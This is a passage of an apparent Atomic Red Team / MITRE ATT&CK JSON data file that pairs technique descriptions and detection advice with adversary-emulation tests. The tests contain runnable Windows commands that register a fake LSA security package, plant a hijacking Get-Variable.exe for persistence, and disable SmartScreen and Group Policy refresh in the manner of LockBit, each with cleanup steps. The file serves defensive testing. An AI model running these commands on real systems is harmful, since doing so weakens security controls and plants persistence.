- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "identifier": "T1547.005"
- },
- "atomic_tests": [
- {
- "name": "Modify SSP configuration in registry",
- "auto_generated_guid": "afdfd7e3-8a0b-409f-85f7-886fdf249c9e",
- "description": "Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "fake_ssp_dll": {
- "description": "Value added to registry key. Normally refers to a DLL name in C:\\Windows\\System32.",
- "type": "string",
- "default": "not-a-ssp"
- }
- },
- "executor": {
- "command": "# run these in sequence\n$SecurityPackages = Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'\n$SecurityPackagesUpdated = $SecurityPackages\n$SecurityPackagesUpdated += \"#{fake_ssp_dll}\"\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $SecurityPackagesUpdated\n\n# revert (before reboot)\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa -Name 'Security Packages' -Value $SecurityPackages\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1181": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1181",
- "url": "https://attack.mitre.org/techniques/T1181"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx",
- "description": "Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.",
- "source_name": "Microsoft Window Classes"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx",
- "description": "Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.",
- "source_name": "Microsoft GetWindowLong function"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx",
- "description": "Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.",
- "source_name": "Microsoft SetWindowLong function"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html",
- "description": "MalwareTech. (2013, August 13). PowerLoader Injection \u2013 Something truly amazing. Retrieved December 16, 2017.",
- "source_name": "MalwareTech Power Loader Aug 2013"
- },
- {
- "url": "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/",
- "description": "Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.",
- "source_name": "WeLiveSecurity Gapz and Redyms Mar 2013"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx",
- "description": "Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.",
- "source_name": "Microsoft SendNotifyMessage function"
- }
- ],
- "modified": "2020-11-10T18:29:30.479Z",
- "name": "Extra Window Memory Injection",
- "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Host intrusion prevention systems",
- "Data Execution Prevention"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1543.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba",
- "type": "attack-pattern",
- "created": "2020-01-17T19:23:15.227Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1543.004",
- "url": "https://attack.mitre.org/techniques/T1543/004"
- },
- {
- "external_id": "CAPEC-550",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/550.html"
- },
- {
- "external_id": "CAPEC-551",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/551.html"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
- "source_name": "AppleDocs Launch Agent Daemons"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- },
- {
- "source_name": "launchd Keywords for plists",
- "url": "https://www.real-world-systems.com/docs/launchdPlist.1.html",
- "description": "Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021."
- },
- {
- "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
- "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
- "source_name": "WireLurker"
- },
- {
- "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
- "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
- "source_name": "OSX Malware Detection"
- },
- {
- "source_name": "LaunchDaemon Hijacking",
- "url": "https://bradleyjkemp.dev/post/launchdaemon-hijacking/",
- "description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021."
- },
- {
- "source_name": "sentinelone macos persist Jun 2019",
- "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
- "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."
- }
- ],
- "modified": "2021-10-07T22:10:55.653Z",
- "name": "Create or Modify System Process: Launch Daemon",
- "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/
and /Library/LaunchDaemons/
. Required Launch Daemons parameters include a Label
to identify the task, Program
to provide a path to the executable, and RunAtLoad
to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad
parameter set to true
and the Program
parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin
to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for new files added to the /Library/LaunchDaemons/
folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad
parameter set to true, ensure the Program
parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program
and ProgramArguments
parameters but one must be present.(Citation: launchd Keywords for plists)\n\n",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Service: Service Creation",
- "Process: Process Creation",
- "Service: Service Modification",
- "Command: Command Execution",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "root",
- "Administrator"
- ],
- "identifier": "T1543.004"
- },
- "atomic_tests": []
- },
- "T1574.008": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2",
- "type": "attack-pattern",
- "created": "2020-03-13T17:48:58.999Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.008",
- "url": "https://attack.mitre.org/techniques/T1574/008"
- },
- {
- "external_id": "CAPEC-159",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/159.html"
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/ms682425",
- "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
- "source_name": "Microsoft CreateProcess"
- },
- {
- "source_name": "Windows NT Command Shell",
- "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120",
- "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014."
- },
- {
- "url": "http://msdn.microsoft.com/en-us/library/ms687393",
- "description": "Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.",
- "source_name": "Microsoft WinExec"
- },
- {
- "source_name": "Microsoft Environment Property",
- "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN",
- "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016."
- }
- ],
- "modified": "2020-09-17T19:03:35.217Z",
- "name": "Hijack Execution Flow: Path Interception by Search Order Hijacking",
- "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user
. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user
will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User",
- "SYSTEM"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM",
- "User"
- ],
- "identifier": "T1574.008"
- },
- "atomic_tests": [
- {
- "name": "powerShell Persistence via hijacking default modules - Get-Variable.exe",
- "auto_generated_guid": "1561de08-0b4b-498e-8261-e922f3494aae",
- "description": "Colibri leverages PowerShell in a unique way to maintain persistence after a reboot. Depending on the Windows version, Colibri drops its copy in %APPDATA%\\Local\\Microsoft\\WindowsApps and \nnames it Get-Variable.exe for Windows 10 and above.\nhttps://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe /out:\"$env:localappdata\\Microsoft\\WindowsApps\\Get-Variable.exe\" \"PathToAtomicsFolder\\T1574.008\\bin\\calc.cs\"\nPowershell -noprofile\n",
- "cleanup_command": "Remove-Item \"$env:localappdata\\Microsoft\\WindowsApps\\Get-Variable.exe\" -ErrorAction Ignore\nStop-Process -Name \"calculator\"\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1484.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Itamar Mizrahi, Cymptom",
- "Tristan Bennett, Seamless Intelligence"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163",
- "type": "attack-pattern",
- "created": "2020-12-28T21:50:59.844Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1484.001",
- "url": "https://attack.mitre.org/techniques/T1484/001"
- },
- {
- "source_name": "TechNet Group Policy Basics",
- "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/",
- "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019."
- },
- {
- "source_name": "ADSecurity GPO Persistence 2016",
- "url": "https://adsecurity.org/?p=2716",
- "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019."
- },
- {
- "source_name": "Wald0 Guide to GPOs",
- "url": "https://wald0.com/?p=179",
- "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019."
- },
- {
- "source_name": "Harmj0y Abusing GPO Permissions",
- "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/",
- "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019."
- },
- {
- "source_name": "Mandiant M Trends 2016",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf",
- "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."
- },
- {
- "source_name": "Microsoft Hacking Team Breach",
- "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/",
- "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019."
- },
- {
- "source_name": "Harmj0y SeEnableDelegationPrivilege Right",
- "url": "http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/",
- "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019."
- }
- ],
- "modified": "2021-02-09T15:52:24.315Z",
- "name": "Domain Policy Modification: Group Policy Modification",
- "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\
.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as New-GPOImmediateTask
can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml
.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf
, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Object Creation",
- "Command: Command Execution",
- "Active Directory: Active Directory Object Deletion",
- "Active Directory: Active Directory Object Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1484.001"
- },
- "atomic_tests": [
- {
- "name": "LockBit Black - Modify Group policy settings -cmd",
- "auto_generated_guid": "9ab80952-74ee-43da-a98c-1e740a985f28",
- "description": "An adversary can modify the group policy settings.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeDC /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffsetDC /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTime /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffset /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v EnableSmartScreen /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v ShellSmartScreenLevel /t REG_SZ /d Block /f\n",
- "cleanup_command": "reg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeDC /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffsetDC /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTime /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v GroupPolicyRefreshTimeOffset /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v EnableSmartScreen /f >nul 2>&1\nreg delete \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" /v ShellSmartScreenLevel /f >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "LockBit Black - Modify Group policy settings -Powershell",
- "auto_generated_guid": "b51eae65-5441-4789-b8e8-64783c26c1d1",
- "description": "An adversary modifies group policy settings\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "New-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel -Force\n",
- "cleanup_command": "Remove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeDC -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC -Force -ErrorAction Ignore \nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTime -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name EnableSmartScreen -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel -Force -ErrorAction Ignore\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1078.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d",
- "type": "attack-pattern",
- "created": "2020-03-13T20:15:31.974Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.001",
- "url": "https://attack.mitre.org/techniques/T1078/001"
- },
- {
- "external_id": "CAPEC-70",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/70.html"
- },
- {
- "source_name": "Microsoft Local Accounts Feb 2019",
- "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts",
- "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019."
- },
- {
- "source_name": "AWS Root User",
- "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html",
- "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021."
- },
- {
- "source_name": "Threat Matrix for Kubernetes",
- "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
- "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021."
- },
- {
- "source_name": "Metasploit SSH Module",
- "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh",
- "description": "undefined. (n.d.). Retrieved April 12, 2019."
- }
- ],
- "modified": "2021-04-05T20:14:26.846Z",
- "name": "Valid Accounts: Default Accounts",
- "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
